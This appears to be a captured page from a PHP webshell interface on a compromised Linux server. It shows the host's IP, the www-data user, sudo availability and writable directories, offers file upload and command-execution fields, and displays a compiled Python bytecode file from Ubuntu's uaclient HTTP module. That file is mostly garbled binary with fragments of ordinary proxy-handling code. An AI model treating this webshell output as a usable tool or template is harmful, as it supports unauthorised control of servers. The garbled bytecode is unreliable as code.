403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/http/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/http/__pycache__/__init__.cpython-314.pyc
+
�Z�hi;�
�L�^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RI	t	^RI
HtHtH
t
HtHtHt^RIHtHt^RIHtHt^RIHtHtHtHtR,tRtRtRtR	t ]PB!]PD!]#44t$]!R
R]%3R]]&]&3,3R
]'3.4t(]!RR]%3R]]&]&3,3R
]&3R]]&]3,3R]
],3.4t)RRlt*RRlt+/s,RRlt-RRlt.RRlt/R-RRllt0Rt1Rt2R.RR llt3R!R"lt4R#R$lt5R.R%R&llt6R/RRR'3R(R)llt7R/R*R+llt8R#)0�N)�Any�Dict�List�
NamedTuple�Optional�Tuple)�error�request)�ParseResult�urlparse)�defaults�
exceptions�system�utilzhttp://archive.ubuntu.comzhttps://esm.ubuntu.comzhttp://api.snapcraft.iozhttps://api.snapcraft.io�UnparsedHTTPResponse�code�headers�body�HTTPResponse�	json_dict�	json_listc�0�V^8�dQhR\R\/#)��url�return)�str�bool)�formats"�8/usr/lib/python3/dist-packages/uaclient/http/__init__.py�__annotate__r +s��������c��\V4pTPR9dR#TPR# \dR#i;i \dR#i;i)FT)�https�http)r�
ValueError�scheme�port)r�
parsed_urls& r�is_service_urlr)+s\����c�]�
���� 1�1�����������������s�/�A�>�>�A�Ac	�t�V^8�dQhR\R\\,R\R\\,/#)r�protocol�proxy�test_urlr)rr)rs"rr r <s4��/;�/;��/;�"�3�-�/;�36�/;�
�c�]�/;r!c
��V'gR#\V4'g\P!VR7h\P!VRR7pVR8XdR\V4PR8Xd8\W1R7pTP ^�8XdT#\P!TR7h\P"!W/4p\P$!V4pVP'V4V# \Pdh\Pdh\Pdh\d>p\PRTT\T44\P!TR7hRp?ii;i \(P*\P,3dIp\PRTT\/TR\T444\P!TR7hRp?ii;i)	N)r,�HEAD)�methodr#��https_proxyz:Error trying to use "%s" as pycurl proxy to reach "%s": %sz:Error trying to use "%s" as urllib proxy to reach "%s": %s�reason)r)r�ProxyInvalidUrlr
�Requestrr&�_readurl_pycurl_https_in_https�PycurlRequiredError�ProxyAuthenticationFailed�PycurlCACertificatesError�	Exception�LOGr	r�ProxyNotWorkingErrorr�ProxyHandler�build_opener�open�socket�timeout�URLError�getattr)r+r,r-�req�response�e�
proxy_handler�openers&&&     r�validate_proxyrI<s������%� � ��(�(�u�5�5�
�/�/�(�6�
2�C��7��x���5�5��@�	?�5�c�M�H� �=�=�C���L��1�1��>�>��(�(�(�):�;�M�
�
!�
!�-�
0�F�
;����C�����3�-�-�	���3�3�	���3�3�	���	?��I�I�L����A��	
��1�1��>�>��	?��(
�N�N�E�N�N�+�;��	�	�H����A�x��Q��(�		
��-�-�E�:�:��;�sC�-C$�E.�$(E+�
E+�"
E+�-E+�.8E&�&E+�.%G�AG�Gc�`�V^8�dQhR\\,R\\,RR/#)r�
http_proxyr2rN)rr)rs"rr r qs,��.$�.$���
�.$�,4�S�M�.$�	�.$r!c
��/pV'dWR&V'dWR&RP\\44pRFzp\PPV4pV'gK,RP\\
VPR44P\
\4444pK|	\PRV4V\PR&V\PR&V'dC\P!V4p\P!V4p\P!V4\PRRV/R	7VsR
#)a+
Globally configure pro-client to use http and https proxies.

- sets global proxy configuration for urllib
- sets the no_proxy environment variable for the current process
  which gets inherited for all subprocesses
- sets module variable for use in https-in-https pycurl requests
  this is retrieved later using get_configured_web_proxy

:param http_proxy: http proxy to be used by urllib. If None, it will
                   not be configured
:param https_proxy: https proxy to be used by urllib. If None, it will
                    not be configured
r$r#�,�no_proxy�NO_PROXYzSetting no_proxy: %szSetting global proxy dict�extra)rPN)rNrO)�join�sorted�UA_NO_PROXY_URLS�os�environ�get�set�split�unionr;�debugr
r=r>�install_opener�_global_proxy_dict)rKr2�
proxy_dictrN�env_var�proxy_valuerGrHs&&      r�configure_web_proxyr`qs
��"�J��'�6���)�7���x�x��/�0�1�H�+���j�j�n�n�W�-���;��x�x����)�)�#�.�/�5�5�c�:J�6K�L���H�	,��I�I�$�h�/�%�B�J�J�z��%�B�J�J�z����,�,�Z�8�
��%�%�m�4�����v�&��I�I�)�'�:�1F�I�G�#�r!c�F�V^8�dQhR\\\3,/#�rr)rr)rs"rr r �s����$�s�C�x�.�r!c��\#�N)r\�r!r�get_configured_web_proxyrf�s���r!c�z�V^8�dQhR\PPR\\\3,/#)rrr)�email�message�Messagerr)rs"rr r �s,��7�7�e�m�m�3�3�7��S�#�X��7r!c�t�VP4UUu/uFwrVP4VbK	upp#uuppird)�items�lower)r�k�vs&  r�_headers_to_dictrp�s,��&-�m�m�o�6�o�U�Q�A�G�G�I�q�L�o�6�6��6s�4c�f�V^8�dQhR\PR\\,R\/#)rrDrAr)r
r5r�intr)rs"rr r �s.����	����
�c�]���r!c��\P!WR7pTP4p\TP\TP 4TR7# \Pd
pTpRp?LWRp?i\PdOp\
P
\TP44\P!Y0PR7hRp?ii;i)�rAN)�causer�rrr)r
�urlopenr	�	HTTPErrorrBr;�	exceptionrr3r�ConnectivityError�full_url�readrrrpr)rDrA�resprFrs&&   r�_readurl_urllibr~�s���F����s�4���9�9�;�D��
�Y�Y� ����.�
�����?�?������>�>�F��
�
�c�!�(�(�m�$��*�*����E�E��F�s*�A�C�)A0�0C�C�A	C�Cc��\V4p\V4pVPR8H;'dI\P!VP
4'*;'dVRJ;'dVPR8Hp\PRV4V#)a�
We only want to use pycurl if all of the following are true

- The target url scheme is https
- The target host is not in no_proxy
- An https_proxy is configured either via pro's config or via environment
- The https_proxy url scheme is https

urllib.request provides some helpful functions that we re-use here.

This function also returns the https_proxy to use, since it is calculated
here anyway.
r#NzShould use pycurl: %r)r�_parse_https_proxyr&r
�proxy_bypass�hostnamer;rZ)r2�
target_url�parsed_target_url�parsed_https_proxy�rets&&   r�should_use_pycurlr��s���!��,��+�K�8��� � �G�+�	1�	1��$�$�%6�%?�%?�@�@�	1�	1��d�*�	1�	1�
�%�%��0�	��I�I�%�s�+��Jr!c�z�RpRp\VP4^8�dVP^,p\VP4^8�dVP^,pWB8Xd%V'dRV9d\P!4hWC8Xd\P!VR7h\P
!VR7h)N�407�r)rF)�len�argsrr8r9�PycurlError)r	r�authentication_error_code�ca_certificates_error_coder�msgs&&&&  r�_handle_pycurl_errorr��s����D�
�C�
�5�:�:�����z�z�!�}��
�5�:�:�����j�j��m���(�S�U�c�\��2�2�4�4�	
�	+��2�2�s�;�;��$�$�u�-�-r!c��V^8�dQhR\PR\\,R\\,R\
/#)rrDrAr2r)r
r5rrrrr)rs"rr r �sB��\�\�	���\�
�c�]�\��#��\��	\r!c�"a�^RIpTP	4pTP4P
4pTR8XdTPTPR4M�TR8XdTPTPR4MvTR8XdVTPTPR4TP'd'TPTPTP4M\RPT44hTPTPTP!44TP#4UUu.uFwrgRPYg4NK	ppp\%T4^8�dTPTP&T4TPTP(R4TPTP*\,P.4T'dTPTP0T4T'd_\3T4p	T	'dT	P54MRpTPTP6T4TPTP8^4M\:P=R4\>P@!4p
TPTPBT
4/oT3R	lpTPTPDT4TPG4\QTPSTPT44p
T
PW4pTPY4\[T
STR7# \d\P!4hi;iuuppi TPHd<p\KTTP!4TPLTPNR
7Rp?L�Rp?ii;i)rN�GETTr/�POSTz5HTTP method "{}" not supported in HTTPS-in-HTTPS modez{}: {}z1in pycurl request function without an https proxyc��<�VPR4pRV9dR#VPR^4wrVP4P4pVP4pVSV&R#)z
iso-8859-1�:N)�decoderX�striprm)�header_line�name_raw�	value_raw�name�valuers&    �r�save_header�3_readurl_pycurl_https_in_https.<locals>.save_header(s]���!�(�(��6���k�!��)�/�/��Q�7����~�~��%�%�'�����!�����
r!)rr�r�rv).�pycurl�ImportErrorrr7�Curl�
get_method�upper�setopt�HTTPGET�NOBODYr��data�COPYPOSTFIELDSr%r�URL�get_full_url�header_itemsr��
HTTPHEADER�FOLLOWLOCATION�CAINFOr
�SSL_CERTS_PATH�TIMEOUTr��geturl�PROXY�	PROXYTYPEr;�warning�io�BytesIO�	WRITEDATA�HEADERFUNCTION�performr	r��E_RECV_ERROR�E_SSL_CACERT_BADFILErr�getinfo�
RESPONSE_CODE�getvalue�closer)rDrAr2r��cr0r��val�header_str_listr��body_outputr�rFrrrs&&&            @rr6r6�s����
/��	���
�A��^�^�
�
#�
#�
%�F�
���	�������&�	�6�	�	�������%�	�6�	�	������d�#��8�8�8�
�H�H�V�*�*�C�H�H�5���C�J�J��
�
�	
��H�H�V�Z�Z��)�)�+�,�58�4D�4D�4F��4F�y�t�����"�4F����?��a��	����"�"�O�4��H�H�V�
"�
"�D�)��H�H�V�]�]�H�3�3�4��	�������)��/��<��+=��%�%�'�4�	�	
������{�+�	����!�!�1�%����G�H��*�*�,�K��H�H�V�
�
�{�+��G���H�H�V�
"�
"�K�0�
�	�	�	���q�y�y��-�-�.�/�D����!�D��G�G�I��
��
����c�/��,�,�.�.�/��4��T�<�<�
��
�� � �"�&,�&9�&9�'-�'B�'B�		
�	
��
�s)�L�0L<�6M�!L9�N�1N	�	Nc�:�V^8�dQhR\\,/#rb)rr)rs"rr r Js��:�:�x��'<�:r!c��V'g%\P!4PR4pV'd\V4#R#)r#N)r
�
getproxiesrVrr1s&rr�r�Js0����(�(�*�.�.�w�7��$/�8�K� �9�T�9r!c�$�V^8�dQhR\/#)rr)r)rs"rr r Ps��)�)��)r!c��VPPR4p/pV'g/pMR\PP	V4'g/pM*\
P!\P!V44pVPV.4#)�serviceclient_url_responses)	�featuresrVrT�path�exists�json�loadsr�	load_file)�cfgr�response_overlay_path�response_overlays&&  r�_get_overlay_datar�Pso���L�L�,�,�-J�K���� ���
�W�W�^�^�1�
2�
2����:�:�f�&6�&6�7L�&M�N������R�(�(r!c�t�V^8�dQhR\R\\,R\\\3,/#)rrrAr)rrrrr�bytes)rs"rr r ^s1��1�1��1�$�S�M�1�
�5�#�:��1r!c	�~�\W4pV'd[VP^4p\P!VR,R,4;_uu_4pVP	4R3uuRRR4#\V4'g\P!VR7h\PRPV44\4PR4p/pV'dW8R&\Wq4'd�\\P !WR	7VVR
7pVP"R8Xd\P$!VR7h\P&!VP(4VP*PR43#\P !WR	7p	\P,!V	4;_uu_4p\P!V4;_uu_4pVP	4VP*PR
43uuRRR4uuRRR4# +'giEL�;i +'giM;iRRR4R# +'giR#;i \.P0dUp
T
P"R8Xd\P$!TR7hT
P"R8Xd\P2!4hhRp
?
ii;i)rrE�	file_path�Nr�z
URL [GET]: {}r#z
If-None-Match)r�rAr2i0�etag�ETagi�)r��pop�lzmar?r|r)r�
InvalidUrlr;rZrrfrVr�r6r
r5r�
ETagUnchanged�
decompressrrrwr	rx�VulnerabilityDataNotFound)r�rrAr��overlay_responserE�fr2rrDrFs&&&&       r�download_xz_file_from_urlr�^s���)��2���#�'�'��*��
�Y�Y�x�
�+�K�8�
9�
9�Q��F�F�H�b�>�:�
9��#����#�#��,�,��I�I�o�$�$�S�)�*�*�,�0�0��9�K��G��#'�� ���*�*�1��O�O�C�1��#�
���=�=�C���*�*�s�3�3�
�O�O�H�M�M�*���� � ��(�
�	
�
�o�o�c�3��
	�����%�%���Y�Y�x�(�(�A����� �(�(�,�,�V�4��)�(�&�%�=:�
9�
9��>)�(��(�&�%�%�%�����	��v�v��}� �.�.�3�7�7��v�v��}� �:�:�<�<���
	�sa�H
�I�.H?�
+H!	�8
H?�
I�
H	�!H1
�,H?�5I�?I	�
I�I�J<�(AJ7�7J<Tc���V^8�dQhR\R\\,R\\\3,R\\,R\\,R\
R\/#)rrr�rr0rA�log_response_bodyr)rrr�rrrrr)rs"rr r �sk��F�F�	�F�
�5�/�F��#�s�(�^�F�
�S�M�	F�
�c�]�F��
F��Fr!c
��\V4'g\P!VR7hV'dV'gRp\P!WW#R7pRP\
V4Uu.uFpRPWrV,4NK	up4p\PRPT;'gRTTV'dVPR4MR44\4PR	4p	\W�4'd\WdV	R
7p
M\WdR7p
V
P PRRR
7p/p.p
RV
P"PRR49dx\$P&!V\(P*R7p\-V\.4'dTpM8\-V\04'dTp
M\P3R\5V44RP\
V
P"4Uu.uF%pRPWzP"V,4NK'	up4pRPT;'gRW4pV'd:V
P pV'dTpM
V
'dT
pVRPV4,
p\PV4\7V
P8V
P"VVV
R7#uupiuupi)r�r�)r�rr0z, z
'{}': '{}'z'URL [{}]: {}, headers: {{{}}}, data: {}r��utf-8Nr#r�rt�ignore��errors�application/json�content-typer���cls�unexpected JSON response: %sz&URL [{}] response: {}, headers: {{{}}}z
, data: {}�rrrrr)r)rr�r
r5rQrRrr;rZr�rfrVr�r6r~rrr�r�r�DatetimeAwareJSONDecoder�
isinstance�dict�listr�rrr)rr�rr0rAr�rDrn�sorted_header_strr2r}�decoded_bodyrr�	json_body�	debug_msg�body_to_logs&&&&&&           r�readurlr��s:���#����#�#��,�,��F���
�/�/�#�'�
I�C��	�	�5;�G�_�E�_���	�	�Q��
�	+�_�E����I�I�1�8�8��O�O�e���$(�D�K�K�� �d�		
��+�,�0�0��9�K���*�*�-��k�
���s�4���9�9�#�#�G�H�#�=�L��I��I��T�\�\�-�-�n�b�A�A��J�J�|��1N�1N�O�	��i��&�&�!�I�
�	�4�
(�
(�!�I��K�K�6��I��G��	�	�:@����:N�O�:N�Q��	�	�Q���Q��	0�:N�O���9�?�?����%���I���i�i���#�K�
�#�K��\�(�(��5�5�	��I�I�i���
�Y�Y����
������a	F��B	Ps�+!K�<+K	c
�T�V^8�dQhR\R\R\R\R\/#)r�socket_path�http_method�	http_path�
http_hostnamer)rr)rs"rr r �s:��&�&��&��&��&��	&�
�&r!c�v�\P!\P\P4pVPV4\P
P
V4pWEnVPW4VP4pVP4PRRR7pVP4VP4/p.p	RVPPRR49dx\P !V\"P$R7p
\'V
\(4'dT
pM8\'V
\*4'dT
p	M\,P/R\1V
44\3VP4\7VP4VVV	R7# TP4TP4i;i)	r�r�r�r�r�r�r�r�r�)r@�AF_UNIX�SOCK_STREAM�connectr$�client�HTTPConnection�sockr
�getresponser|r�r�rrVr�r�rr�r�r�r�r;r�rr�statusrp)r�rrrr	�connr}�outrrr�s&&&&       r�unix_socket_requestr�s>���=�=�����);�);�<�D��L�L����;�;�%�%�m�4�D��I�����[�,����!���i�i�k� � ��� �:���
�
���
�
���I��I��T�\�\�-�-�n�b�A�A��J�J�s��(E�(E�F�	��i��&�&�!�I�
�	�4�
(�
(�!�I��K�K�6��I��G��
�[�[� ����.�
������	
�
�
���
�
��s
�+AF�"F8)z169.254.169.254�metadataz[fd00:ec2::254]rd)NN)�	localhost)9�
email.messagerh�http.clientr$r�r��loggingr�rTr@�typingrrrrrr�urllibr	r
�urllib.parserr�uaclientr
rrrrS�PROXY_VALIDATION_APT_HTTP_URL�PROXY_VALIDATION_APT_HTTPS_URL�PROXY_VALIDATION_SNAP_HTTP_URL�PROXY_VALIDATION_SNAP_HTTPS_URL�	getLogger�replace_top_level_logger_name�__name__r;rrrr�rrr)rIr\r`rfrpr~r�r�r6r�r�r�r�rrer!r�<module>rsR����	����	�
�?�?�!�.�7�7�E�� ;��!9��!:��"<��
����:�:�8�D�E��!��	��
�	�D��c��N�#�	��������	��
�	�D��c��N�#�	��
�	�d�3��8�n�%�	�d�3�i� ��	���"/;�d��.$�b�7�
�*�4.�"\�~:�)�1�l!� � �!�"�
F�R&�&r!

Youez - 2016 - github.com/yon3zu
LinuXploit